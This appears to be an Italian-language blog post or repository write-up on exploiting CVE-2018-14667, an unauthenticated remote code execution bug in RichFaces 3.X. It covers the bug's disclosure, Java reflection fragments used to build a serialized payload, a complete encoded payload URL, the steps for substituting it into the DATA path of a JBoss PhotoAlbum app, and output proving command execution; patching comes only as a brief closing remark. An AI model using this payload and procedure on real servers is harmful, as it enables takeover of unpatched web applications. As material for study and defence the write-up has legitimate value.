
Tutto su CVE-2018-14667; Da cos'è a come sfruttarlo con successo.
Dopo aver trascorso molto tempo per comprendere e sfruttare correttamente questa CVE, ho deciso di creare un repository sul bug RCE di RichFaces 3.X e condividere i HOWTO passo dopo passo con la comunità.
0x00 : Introduzione al bug di RichFaces 3.X
Lunedì 19 novembre, Joao F M Figueiredo ha pubblicato un articolo ben dettagliato (https://seclists.org/fulldisclosure/2018/Nov/47) su una vulnerabilità critica ad alto rischio di RichFaces.
Punteggio Base CVSS3: 9.8
Questa vulnerabilità consentirà a qualsiasi utente non autenticato di eseguire codice in remoto su qualsiasi applicazione web che utilizza RichFaces 3.X (tutte le versioni), che è praticamente lo scenario peggiore.
0x01 : Sono affetto? ![]()
Bene, se stai eseguendo RichFaces 3.X (qualsiasi versione di RichFaces 3) e vedi il seguente codice nel tuo sorgente, è probabile che sì, potresti essere vulnerabile all'esecuzione remota di codice su CVE-2018-14667:
0x02 : Esecuzione di un ambiente vulnerabile per testare il bug ![]()
Fondamentalmente, spiegherò nuovamente quanto già trattato nell'articolo di seclists.org su come distribuire un ambiente vulnerabile.
0x03 : Generazione di un payload valido ![]()
Ora la parte divertente! È qui che ho incontrato difficoltà, quindi spiegherò in dettaglio come generare un payload valido senza ripetere gli stessi errori che ho fatto. Suggerirei prima di usare Eclipse per compilare il payload.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Il risultato dell'output in Eclipse dovrebbe essere simile al seguente:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Invio del payload e ottenere l'esecuzione remota di codice ![]()
Naviga nel tuo browser al tuo server JBoss locale che esegue l'applicazione web PhotoAlbum http://192.168.100.2:8080/photoalbum e fai clic destro per visualizzare il codice sorgente. Premi Ctrl+F e cerca '/DATA/'. Dovresti trovare qualcosa di simile a questo:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Puoi vedere chiaramente l'oggetto serializzato. Qui è dove sostituiremo l'oggetto serializzato con il nostro payload per ottenere l'esecuzione remota di codice. Nel tuo browser, cambia l'URL in http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Il mio payload eseguiva il comando 'touch /tmp/PoorRichFaces'. Vediamo se ho avuto successo:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Sensazione fantastica, vero? Abbiamo appena ottenuto RCE su un'applicazione web Java che esegue RichFaces 3.X.
0x05 : Come applicare la patch? ![]()
Potrebbe non piacerti questo fatto, quindi preparati e tienti alla tastiera; RichFaces ha raggiunto la fine del ciclo di vita per il supporto del loro prodotto, quindi gli utenti (tu) dovrebbero applicare la propria patch. Niente panico, se non trovi un modo per applicare la patch, non esitare a contattarmi, possiamo accordarci in modo che io possa patchare le tue applicazioni web Java.
E-mail: [email protected]